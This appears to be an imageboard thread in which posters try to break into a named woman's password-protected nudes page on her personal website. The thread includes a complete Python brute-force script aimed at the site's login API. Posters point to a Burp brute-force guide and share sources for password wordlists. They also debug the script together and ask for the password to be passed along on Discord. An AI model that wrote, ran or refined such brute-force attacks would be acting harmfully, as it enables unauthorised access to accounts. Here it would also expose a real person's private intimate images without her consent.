I just discovered this model (in photo) and found out she has a nudes section on her website...

I just discovered this model (in photo) and found out she has a nudes section on her website... unfortunately its password protected. I've taken my limited web coding skills as far as I can now.

Anyone have ideas to get past the password?

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Other urls found in this thread:

support.portswigger.
wiki.skullsecurity
hashes
twitter.com/NSFWRedditVideo

carmenchristina com/nudes forgot that part

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support.portswigger. net/customer/portal/articles/1964020-using-burp-to-brute-force-a-login-page

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Thank you! might have to resort to brute force at this point. Thanks for pointing the way to something built to do it

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please post the password when you get it done

Absolutely! I feel like there might be some good stuff in there, considering what she already posts online

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working on the previously posted brute force solution. In case someone else has any ideas I will keep posting for a bit while I learn this software

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Imma write my own python script anyone got a quality wordlist?

import requests

class BruteForce:
def __init__(self):
self.baseurl = "carmenchristina.com/pb3/api/authentication/pageloginapi/logintopage"
self.wordlist = [ word.rstrip("\n") for word in open("wordlist.txt", "r") ]
self.headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}

def brute(self):
tries = 0
for password in self.wordlist:
print(f"[ {tries} ] trying password {password}")
if self.sendRequest(password):
print(f"Login successfull! The password is {password}")
break
tries += 1

def sendRequest(self, password):
isSuccess = False
data = { "password": password, "url": "nudes" }
result = requests.post(self.baseurl, data=data, headers=self.headers)
data_json = result.json()

if data_json['isSuccess'] == 1:
isSuccess = True

return isSuccess


def main():
bf = BruteForce()
bf.brute()

if __name__ == '__main__':
main()

hmm the site seems to force https for some reason which is currently causing issues with the burp proxy. googling solutions

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Check this script out it's working I just need a good wordlist

Oh! Nice ill look for a word list then

Yea Forums fucked the formatting up tho try the script on
pastebin com/nYSnZG9p

wiki.skullsecurity org/Passwords
hashes org/hashlists.php

some lists

>pastebin com/nYSnZG9p
Yea, I noticed the improper python formatting lol
thanks!

Downloading python IDE, assuming its python 3 code

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Yeah it's python 3

Cool, running your code with the first list from that skullsecurity website since its full of more common passwords. Fingers crossed she used a simple pass!

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or I would be running it if I wasn't having an Issue installing requests XD

Never have I regretted buying a mac more than this moment

Cool, got past that bug. Syntax error now that I'm looking into

There shouldn't be any syntax errors it's working for me

correct, it was a MacOS thing where it defaulted to python 2 in terminal (and they wanted me to upgrademy OS to fix it...). moved to windows and it worked. although now python is having trouble with invalid characters in my word list. oh boy haha

yeah I had that problem too with a wordlist from your site. Just use a different one

Finally running! You're amazing. thank you

Post your findings!

No problem, you're welcome send the password to me on Discord if you get it please iwannaseeall#7840

If ("password") = incorrect:
Print ("correct_password")

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cool, saved just in case the thread dies. Also, just to point out, when entering passwords to the webpage it doesnt seem to send anything to the server as far as I can tell... Could they be doing client side authentication?

what sayin